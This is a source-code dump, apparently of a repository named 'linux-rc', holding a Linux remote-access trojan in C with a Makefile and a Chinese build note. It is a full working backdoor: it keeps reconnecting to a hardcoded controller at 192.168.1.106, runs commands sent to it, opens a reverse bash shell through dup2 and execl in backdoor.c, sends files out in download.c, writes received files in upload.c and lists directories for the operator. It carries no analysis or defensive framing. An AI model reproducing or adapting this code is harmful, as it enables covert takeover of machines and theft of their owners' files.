/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/im-bill/linux-rc/982ea301dde12b95ec1a8e3357fe13eb9592a71b/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.pdb
--------------------------------------------------------------------------------
/linux_client/Makefile:
--------------------------------------------------------------------------------
1 | all : refect
2 | OBJS = backdoor.o main.o download.o explorer.o shell.o shell2.o upload.o
3 | RM = rm -rf
4 |
5 | CC = gcc
6 | INCLUDE=.
7 | CFLAGS = -O -Wall
8 | refect : $(OBJS)
9 | $(CC) $(OBJS) -o refect
10 | $(OBJA) : refect.h
11 | $(CC) -c $(CFLAGS) -I$(INCLUDE) $*.c
12 |
13 | clean :
14 | $(RM) *.o
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/linux_client/README:
--------------------------------------------------------------------------------
1 | 修改IP地址和端口参数在refect.h文件修改
2 |
3 | 编译:
4 | make
5 |
--------------------------------------------------------------------------------
/linux_client/backdoor.c:
--------------------------------------------------------------------------------
1 | #include "refect.h"
2 | extern struct client_cfg cfg;
3 |
4 | int backdoor_mod(char *ip, short port)
5 | {
6 | pid_t pid;
7 | pid = fork();
8 |
9 | if (pid == 0)
10 | {
11 | int sockfd;
12 | int len;
13 |
14 | struct sockaddr_in address;
15 |
16 |
17 | sockfd = socket(AF_INET, SOCK_STREAM, 0);
18 | if (sockfd < 0)
19 | {
20 | perror("socket");
21 | exit(EXIT_FAILURE);
22 | }
23 | len = sizeof(address);
24 | memset(&address, 0, len);
25 | address.sin_family = AF_INET;
26 | address.sin_addr.s_addr = inet_addr(ip);
27 | address.sin_port = htons(cfg.res_port);
28 |
29 | if (connect(sockfd, (struct sockaddr *)&address, len) < 0)
30 | {
31 | perror("connect");
32 | exit(EXIT_FAILURE);
33 | }
34 | dup2(sockfd, 0);
35 | dup2(sockfd, 1);
36 | dup2(sockfd, 2);
37 | execl("/bin/bash", "bash", (char *) 0);
38 | close(sockfd);
39 | exit(EXIT_SUCCESS);
40 | }
41 | return 0;
42 | }
43 |
--------------------------------------------------------------------------------
/linux_client/download.c:
--------------------------------------------------------------------------------
1 | #include "refect.h"
2 | extern struct client_cfg cfg;
3 |
4 | int download_mod(char *filename)
5 | {
6 | int sockfd;
7 | char buf[BUF_SIZE];
8 | int nread;
9 | int filesize;
10 | FILE *fp;
11 | int len;
12 |
13 | sockfd = connect_server(cfg.res_port);
14 | if (sockfd < 0)
15 | {
16 | printf("Can't connect server, port %d \n", cfg.res_port);
17 | return -1;
18 | }
19 |
20 | fp = fopen(filename, "r");
21 | if (fp == NULL)
22 | {
23 | write(sockfd, "FAILURE\n", 8);
24 | close(sockfd);
25 | return 1;
26 | }
27 | fseek(fp, 0l, SEEK_END);
28 | filesize = ftell(fp);
29 | fseek(fp, 0l, SEEK_SET);
30 | snprintf(buf, BUF_SIZE - 1, "SUCCESS\n%d\n", filesize);
31 | write(sockfd, buf, strlen(buf));
32 |
33 | nread = read(sockfd, buf, BUF_SIZE - 1);
34 | buf[nread] = '\0';
35 | if (strcmp(buf, "SUCCESS") != 0)
36 | {
37 | close(sockfd);
38 | fclose(fp);
39 | return 2;
40 | }
41 | while (!feof(fp))
42 | {
43 | nread = fread(buf, sizeof(char), BUF_SIZE, fp);
44 | write(sockfd, buf, nread);
45 | }
46 |
47 | close(sockfd);
48 | fclose(fp);
49 | return 0;
50 |
51 | }
52 |
53 |
--------------------------------------------------------------------------------
/linux_client/explorer.c:
--------------------------------------------------------------------------------
1 | #include "refect.h"
2 | extern struct client_cfg cfg;
3 | int explorer_mod(char *path)
4 | {
5 | int sockfd;
6 | struct dirent *dirent;
7 | struct stat info;
8 | struct tm *m_time;
9 | char *pFilename;
10 | char *pTmpPath;
11 | char tmpchr[50];
12 | char authority[16];
13 | DIR *dir;
14 | char send_buf[BUF_SIZE + 1];
15 | sockfd = connect_server(cfg.res_port);
16 |
17 | if (sockfd < 0)
18 | {
19 | printf("Can't connect server, port %d \n", cfg.res_port);
20 | return -1;
21 | }
22 |
23 | usleep(200000);
24 | if (stat(path, &info) != 0)
25 | {
26 | sprintf(send_buf, "FAILURE\r\n101\r\n"); //不存在
27 | //FAILURE
28 | write(sockfd, send_buf, strlen(send_buf));
29 | close(sockfd);
30 | return 1;
31 | }
32 |
33 | //SUCCESS
34 | if (S_ISREG(info.st_mode))
35 | {
36 | sprintf(send_buf, "FAILURE\r\n201\r\n");//存在,不为目录
37 | //path是普通文件
38 | write(sockfd, send_buf, strlen(send_buf));
39 | close(sockfd);
40 | return 2;
41 | }
42 | else if (S_ISDIR(info.st_mode))
43 | {
44 | dir = opendir(path);
45 | if (dir == NULL)
46 | {
47 | sprintf(send_buf, "FAILURE\r\n202\r\n");//不可访问
48 | write(sockfd, send_buf, strlen(send_buf));
49 | close(sockfd);
50 |
51 | return 3;
52 | }
53 | pTmpPath = (char *)malloc(strlen(path) + 3);
54 | realpath(path, pTmpPath);
55 | sprintf(send_buf, "SUCCESS\r\n%s\r\n", pTmpPath);
56 | printf("%s\n", pTmpPath);
57 | write(sockfd, send_buf, strlen(send_buf));
58 | free(pTmpPath);
59 | while ((dirent = readdir(dir)) != 0)
60 | {
61 | sprintf(send_buf, "%s\n", dirent->d_name);
62 | pFilename = (char *)malloc(strlen(dirent->d_name)+ strlen(path)+ 3);
63 | sprintf(pFilename, "%s/%s", path, dirent->d_name);
64 | strcpy(authority, "----------");
65 | if (lstat(pFilename, &info) == 0)
66 | {
67 | //文件类型
68 | if (S_ISDIR(info.st_mode))
69 | {
70 | strcat(send_buf, "1\n");
71 | authority[0] = 'd';
72 | }
73 | else if (S_ISREG(info.st_mode))
74 | {
75 | strcat(send_buf, "2\n");
76 | }
77 | else if (S_ISLNK(info.st_mode))
78 | {
79 | strcat(send_buf, "3\n");
80 | authority[0] = 'l';
81 | }
82 | else if (S_ISCHR(info.st_mode))
83 | {
84 | strcat(send_buf, "4\n");
85 | authority[0] = 'c';
86 | }
87 | else if (S_ISBLK(info.st_mode))
88 | {
89 | strcat(send_buf, "5\n");
90 | authority[0] = 'b';
91 | }
92 | else if (S_ISFIFO(info.st_mode))
93 | {
94 | strcat(send_buf, "6\n");
95 | authority[0] = 'p';
96 | }
97 | else if (S_ISSOCK(info.st_mode))
98 | {
99 | strcat(send_buf, "7\n");
100 | authority[0] = 's';
101 | }
102 | else
103 | {
104 | strcat(send_buf, "8\n");
105 | //UNKONW TYPE
106 | }
107 | snprintf(tmpchr, 24, "%ld\n", info.st_size); //文件大小
108 | strcat(send_buf, tmpchr);
109 | //文件权限
110 |
111 | if (S_IRUSR & info.st_mode)
112 | {
113 | authority[1] = 'r';
114 | }
115 |
116 | if (S_IWUSR & info.st_mode)
117 | {
118 | authority[2] = 'w';
119 | }
120 |
121 | if (S_IXUSR & info.st_mode)
122 | {
123 | authority[3] = 'x';
124 | }
125 |
126 | if (S_IRGRP & info.st_mode)
127 | {
128 | authority[4] = 'r';
129 | }
130 |
131 | if (S_IWGRP & info.st_mode)
132 | {
133 | authority[5] = 'w';
134 | }
135 |
136 | if (S_IXGRP & info.st_mode)
137 | {
138 | authority[6] = 'x';
139 | }
140 | if (S_IROTH & info.st_mode)
141 | {
142 | authority[7] = 'r';
143 | }
144 | if (S_IWOTH & info.st_mode)
145 | {
146 | authority[8] = 'w';
147 | }
148 | if (S_IXOTH & info.st_mode)
149 | {
150 | authority[9] = 'x';
151 | }
152 |
153 | if (S_ISGID & info.st_mode)
154 | {
155 | authority[6] = 's';
156 | }
157 |
158 | if (S_ISUID & info.st_mode)
159 | {
160 | authority[3] = 's';
161 | }
162 | strcat(send_buf, authority);
163 | strcat(send_buf, "\n");
164 | //文件创建时间
165 | m_time = gmtime(&(info.st_mtime));
166 | sprintf(tmpchr, "%4d-%2.2d-%2.2d\n",
167 | m_time->tm_year + 1900, m_time->tm_mon + 1, m_time->tm_mday);
168 | strcat(send_buf, tmpchr);
169 | strcat(send_buf, "\r\n");
170 |
171 | }
172 | else
173 | {
174 | //failure:
175 | strcat(send_buf, "-1\n-1\nnull\nnull\n\r\n");
176 | }
177 | write(sockfd, send_buf, strlen(send_buf));
178 | free(pFilename);
179 | }
180 | closedir(dir);
181 | }
182 | else
183 | {
184 | sprintf(send_buf, "FAILURE\r\n202\r\n");//不可访问
185 | write(sockfd, send_buf, strlen(send_buf));
186 | close(sockfd);
187 | return 1;
188 | }
189 | close(sockfd);
190 | return 0;
191 |
192 | }
193 |
--------------------------------------------------------------------------------
/linux_client/main.c:
--------------------------------------------------------------------------------
1 | #include "refect.h"
2 |
3 | struct client_cfg cfg;
4 |
5 | char id[25];
6 |
7 | void hand_sigchld(int sig)
8 | {
9 | int stat;
10 | pid_t pid;
11 |
12 | pid = wait(&stat);
13 | printf("child pid=%d, stat=%d \n", pid, stat);
14 | wait_stat = stat;
15 |
16 | }
17 |
18 | int handle(int sockfd, char *buf, int size)
19 | {
20 | int filesize;
21 | char *p1, *p2;
22 | short port;
23 | p1 = buf;
24 | char *ip;
25 | char *filename;
26 |
27 |
28 | p2 = strchr(p1, '\n');
29 | *p2 = '\0';
30 | if (strcmp(p1, "OFFLINE") == 0)
31 | {
32 | close(sockfd);
33 | printf("END\n");
34 | exit(EXIT_SUCCESS);
35 | }else if (strcmp(p1, "CMDSHELL") == 0)
36 | {
37 | p2++;
38 | p1 = p2;
39 | p2 = strchr(p1, '\n');
40 | *p2 = '\0';
41 | cmdshell_mod(p1);
42 | }else if (strcmp(p1, "BACKDOOR") == 0)
43 | {
44 | p2++;
45 | p1 = p2;
46 | p2 = strchr(p1, '\n');
47 | *p2 = '\0';
48 | ip = p1;
49 | p2++;
50 | p1 = p2;
51 | p2 = strchr(p1, '\n');
52 | *p2 = '\0';
53 | port = atoi(p1);
54 | backdoor_mod(ip, port);
55 | }else if (strcmp(p1, "UPLOAD") == 0)
56 | {
57 | p2++;
58 | p1 = p2;
59 | p2 = strchr(p1, '\n');
60 | *p2 = '\0';
61 | filename = p1;
62 | p2++;
63 | p1 = p2;
64 | p2 = strchr(p1, '\n');
65 | *p2 = '\0';
66 | filesize = atoi(p1);
67 |
68 | upload_mod(filename, filesize);
69 |
70 | }else if (strcmp(p1, "DOWNLOAD") == 0)
71 | {
72 | p2++;
73 | p1 = p2;
74 | p2 = strchr(p1, '\n');
75 | *p2 = '\0';
76 | filename = p1;
77 |
78 | download_mod(filename);
79 | }
80 | else if (strcmp(p1, "EXPLORER") == 0)
81 | {
82 | p2++;
83 | p1 = p2;
84 | p2 = strchr(p1, '\n');
85 | *p2 = '\0';
86 | explorer_mod(p1);
87 | }
88 | else if (strcmp(p1, "SHELL2") == 0)
89 | {
90 | shell2_mod();
91 | }
92 |
93 | return 0;
94 | }
95 |
96 | int connect_server(short port)
97 | {
98 | int sockfd;
99 | struct sockaddr_in addr;
100 |
101 | memset(&addr, 0, sizeof(addr));
102 | addr.sin_family = AF_INET;
103 | addr.sin_addr.s_addr = inet_addr(IP);
104 | addr.sin_port = htons(port);
105 |
106 | sockfd = socket(AF_INET, SOCK_STREAM, 0);
107 | if (sockfd < 0)
108 | {
109 | return -1;
110 | }
111 |
112 | if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
113 | {
114 | close(sockfd);
115 | return -1;
116 | }
117 | return sockfd;
118 | }
119 | int init_cfg(struct client_cfg *cfg)
120 | {
121 | short res_port;
122 | short com_port;
123 | com_port = atoi(COM_PORT);
124 | res_port = atoi(RES_PORT);
125 | cfg->port = com_port;
126 | cfg->res_port = res_port;
127 | cfg->timeout = 5;
128 | strcpy(cfg->server_IP, IP);
129 | return 0;
130 |
131 | }
132 |
133 | int main(void)
134 | {
135 | int sockfd;
136 | int nread;
137 | int res;
138 | pid_t pid;
139 | //pid = fork();
140 | //if (pid != 0)
141 | //{
142 | // exit(0);
143 | //}
144 | int keepalive = 1; // 开启keepalive属性
145 | int keepidle = 10; // 如该连接在60秒内没有任何数据往来,则进行探测
146 | int keepinterval = 5; // 探测时发包的时间间隔为5 秒
147 | int keepcount = 3; // 探测尝试的次数.如果第1次探测包就收到响应了,则后2次的不再发.
148 | struct sockaddr_in addr;
149 | char rev_buf[BUF_SIZE + 1];
150 | signal(SIGCHLD, hand_sigchld);
151 |
152 | init_cfg(&cfg);
153 | memset(&addr, 0, sizeof(addr));
154 | addr.sin_addr.s_addr = inet_addr(cfg.server_IP);
155 | addr.sin_family = AF_INET;
156 | addr.sin_port = htons(cfg.port);
157 |
158 | headbeat_shutdown = 0;
159 |
160 | retry:
161 | sockfd = socket(AF_INET, SOCK_STREAM, 0);
162 | if (sockfd < 0)
163 | {
164 | perror("socket");
165 | exit(EXIT_FAILURE);
166 | }
167 |
168 | setsockopt(sockfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&keepalive , sizeof(keepalive ));
169 | setsockopt(sockfd, IPPROTO_TCP, TCP_KEEPIDLE, (void*)&keepidle , sizeof(keepidle ));
170 | setsockopt(sockfd, IPPROTO_TCP, TCP_KEEPINTVL, (void *)&keepinterval , sizeof(keepinterval ));
171 | setsockopt(sockfd, IPPROTO_TCP, TCP_KEEPCNT, (void *)&keepcount , sizeof(keepcount ));
172 | if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
173 | {
174 | close(sockfd);
175 | perror("connect");
176 | sleep(cfg.timeout);
177 | goto retry;
178 | }
179 |
180 | printf("Connected\n");
181 | memset(rev_buf, 0, BUF_SIZE + 1);
182 | //接收ID
183 | nread = read(sockfd, rev_buf, BUF_SIZE);
184 | if (nread > 0)
185 | {
186 | rev_buf[nread] = '\0';
187 | strncpy(id, rev_buf, 24);
188 | puts(id);
189 | }
190 | else if (nread <= 0)
191 | {
192 | perror("read");
193 | close(sockfd); //对方断开连接了
194 | headbeat_shutdown = 1;
195 |
196 | sleep(cfg.timeout);
197 | goto retry;
198 | }
199 |
200 | while(1)
201 | {
202 | memset(rev_buf, 0, BUF_SIZE + 1);
203 | //接受命令
204 | nread = read(sockfd, rev_buf, BUF_SIZE);
205 | if (nread > 0)
206 | {
207 | puts(rev_buf);
208 | rev_buf[nread] = '\0';
209 | handle(sockfd, rev_buf, nread);
210 | }
211 | else if (nread <= 0)
212 | {
213 | perror("read");
214 | close(sockfd); //对方断开连接了
215 |
216 | sleep(cfg.timeout);
217 | goto retry;
218 | }
219 | }
220 | close(sockfd);
221 |
222 | }
223 |
--------------------------------------------------------------------------------
/linux_client/refect.h:
--------------------------------------------------------------------------------
1 | #ifndef _REFECT_H_
2 | #define _REFECT_H_
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 | #include
22 | #include
23 | #include
24 | #include
25 | #include
26 |
27 |
28 | #define IP "192.168.1.106" //控制IP
29 | #define COM_PORT "8080" //服务端口
30 | #define RES_PORT "8081" //反馈端口
31 |
32 | #define NAME_LEN 255
33 | #define BUF_SIZE 2048
34 | #define WORK_BACKDOOR 1
35 | #define WORK_CMDSHELL 2
36 |
37 |
38 | struct client_cfg
39 | {
40 | int timeout;
41 | short port;
42 | short res_port;
43 | char server_IP[NAME_LEN];
44 |
45 | };
46 |
47 | struct headbead_arg
48 | {
49 | struct client_cfg *cfg;
50 | int sockfd;
51 | pthread_mutex_t sendbuf_mutex;
52 | };
53 |
54 | int headbeat_shutdown;
55 | int wait_stat;
56 | int handle(int sockfd, char *buf, int size);
57 | int cmdshell_mod(char *cmd);
58 | int connect_server(short port);
59 | int backdoor_mod(char *ip, short port);
60 | int upload_mod(char *filename, int filesize);
61 | int download_mod(char *filename);
62 | int explorer_mod(char *path);
63 |
64 | int shell2_mod(void);
65 | int execl_shell(int infd, int outfd);
66 | int io2shell(int infd, int outfd, int sockfd);
67 |
68 | #endif
69 |
--------------------------------------------------------------------------------
/linux_client/shell.c:
--------------------------------------------------------------------------------
1 | #include "refect.h"
2 | extern struct client_cfg cfg;
3 | int cmdshell_mod(char *cmd)
4 | {
5 | int sockfd;
6 | int nread;
7 | struct sockaddr_in addr;
8 | FILE *read_fp;
9 | char send_buf[BUF_SIZE + 1];
10 | int stat_val;
11 |
12 | sockfd = connect_server(cfg.res_port);
13 | if (sockfd < 0)
14 | {
15 | printf("Can't connect server, port %d \n", cfg.res_port);
16 | return -1;
17 | }
18 | read_fp = popen(cmd, "r");
19 |
20 | while((nread = fread(send_buf, 1, BUF_SIZE, read_fp)) > 0)
21 | {
22 | if (write(sockfd, send_buf, nread) == -1)
23 | {
24 | return -1;
25 | }
26 | }
27 | usleep(500000);
28 | if (wait_stat == 0)
29 | {
30 | if (write(sockfd, "CMDSHELL:SUCCESS\n",17 ) == -1)
31 | {
32 | return -1;
33 | }
34 | }
35 | else
36 | {
37 | if (write(sockfd, "CMDSHELL:FAILURE\n", 17) == -1)
38 | {
39 | return -1;
40 | }
41 | }
42 | close(sockfd);
43 | fclose(read_fp);
44 |
45 | return 0;
46 | }
47 |
48 |
--------------------------------------------------------------------------------
/linux_client/shell2.c:
--------------------------------------------------------------------------------
1 | #include "refect.h"
2 | extern struct client_cfg cfg;
3 | int shell2_mod(void)
4 | {
5 | pid_t pid2;
6 | int sockfd;
7 | int p2cfd[2];
8 | int c2pfd[2];
9 |
10 | pid_t pid;
11 | pid2 = fork();
12 | if (pid2 > 0)
13 | {
14 | return 0;
15 | }
16 | else if (pid2 < 0)
17 | {
18 | return 1;
19 | }
20 |
21 | sockfd = connect_server(cfg.res_port);
22 |
23 | if (sockfd < 0)
24 | {
25 | printf("Can't connect server, port %d \n", cfg.res_port);
26 | exit(1);
27 | }
28 |
29 | if (pipe(p2cfd) != 0)
30 | {
31 | close(sockfd);
32 | exit(1);
33 | }
34 | if (pipe(c2pfd) != 0)
35 | {
36 | close(sockfd);
37 | close(p2cfd[0]);
38 | close(p2cfd[1]);
39 | exit(1);
40 | }
41 |
42 | pid = fork();
43 | if (pid == 0)
44 | {
45 | int in;
46 | int out;
47 |
48 | in = c2pfd[1];
49 | close(c2pfd[0]);
50 | out = p2cfd[0];
51 | close(p2cfd[1]);
52 | execl_shell(out, in);
53 | close(in);
54 | close(out);
55 | exit(0);
56 | }
57 | else
58 | {
59 | int in;
60 | int out;
61 |
62 | in = p2cfd[1];
63 | close(p2cfd[0]);
64 | out = c2pfd[0];
65 | close(c2pfd[1]);
66 |
67 | io2shell(in, out, sockfd);
68 | kill(pid, SIGKILL);
69 | close(in);
70 | close(out);
71 | }
72 | close(sockfd);
73 | exit(0);
74 | }
75 |
76 | int execl_shell(int infd, int outfd)
77 | {
78 | dup2(infd, 0);
79 | dup2(outfd, 1);
80 | dup2(outfd, 2);
81 | execl("/bin/sh", "sh", (char *) 0);
82 | close(infd);
83 | close(outfd);
84 | return 0;
85 | }
86 | int io2shell(int infd, int outfd, int sockfd)
87 | {
88 | int result, nread;
89 | struct timeval timeout;
90 | char buffer[BUFSIZ + 1];
91 | fd_set inputs, testfds;
92 |
93 | FD_ZERO(&inputs);
94 | FD_SET(sockfd, &inputs);
95 | FD_SET(outfd, &inputs);
96 |
97 | while (1)
98 | {
99 | testfds = inputs;
100 | timeout.tv_sec = 20;
101 |
102 | result = select(FD_SETSIZE, &testfds,
103 | NULL, NULL, &timeout);
104 | if (result == -1)
105 | {
106 | return -1;
107 |
108 | } else if (result == 0)
109 | {
110 | printf("timeout\n");
111 | }
112 | else
113 | {
114 | if (FD_ISSET(sockfd, &testfds))
115 | {
116 | nread = read(sockfd, buffer, BUFSIZ);
117 | if (nread == 0)
118 | {
119 | return 0;
120 | }
121 | buffer[nread] = 0;
122 | printf("GET INPUT: %s", buffer);
123 | write(infd, buffer, nread);
124 | }
125 | if (FD_ISSET(outfd, &testfds))
126 | {
127 | nread = read(outfd, buffer, BUFSIZ);
128 | buffer[nread] = 0;
129 | write(sockfd, buffer, nread);
130 | }
131 |
132 | }
133 | }
134 |
135 | return 0;
136 |
137 | }
138 |
139 |
140 |
--------------------------------------------------------------------------------
/linux_client/upload.c:
--------------------------------------------------------------------------------
1 | #include "refect.h"
2 | extern struct client_cfg cfg;
3 |
4 | int upload_mod(char *filename, int filesize)
5 | {
6 | int sockfd;
7 | char buf[BUF_SIZE];
8 | int nread;
9 | FILE *fp;
10 | int len;
11 |
12 | sockfd = connect_server(cfg.res_port);
13 | if (sockfd < 0)
14 | {
15 | printf("Can't connect server, port %d \n", cfg.res_port);
16 | return -1;
17 | }
18 |
19 | fp = fopen(filename, "w");
20 | if (fp == NULL)
21 | {
22 | write(sockfd, "FAILURE", 7);
23 | close(sockfd);
24 | return 1;
25 | }
26 | if (write(sockfd, "SUCCESS", 7) == -1)
27 | {
28 | close(sockfd);
29 | return -1;
30 | }
31 |
32 | len = 0;
33 | while((nread = read(sockfd, buf, BUF_SIZE)) > 0)
34 | {
35 | fwrite(buf, sizeof(char), nread, fp);
36 | len += nread;
37 | if (len >= filesize)
38 | {
39 | break;
40 | }
41 | }
42 | fclose(fp);
43 | close(sockfd);
44 | return 0;
45 | }
46 |
47 |
--------------------------------------------------------------------------------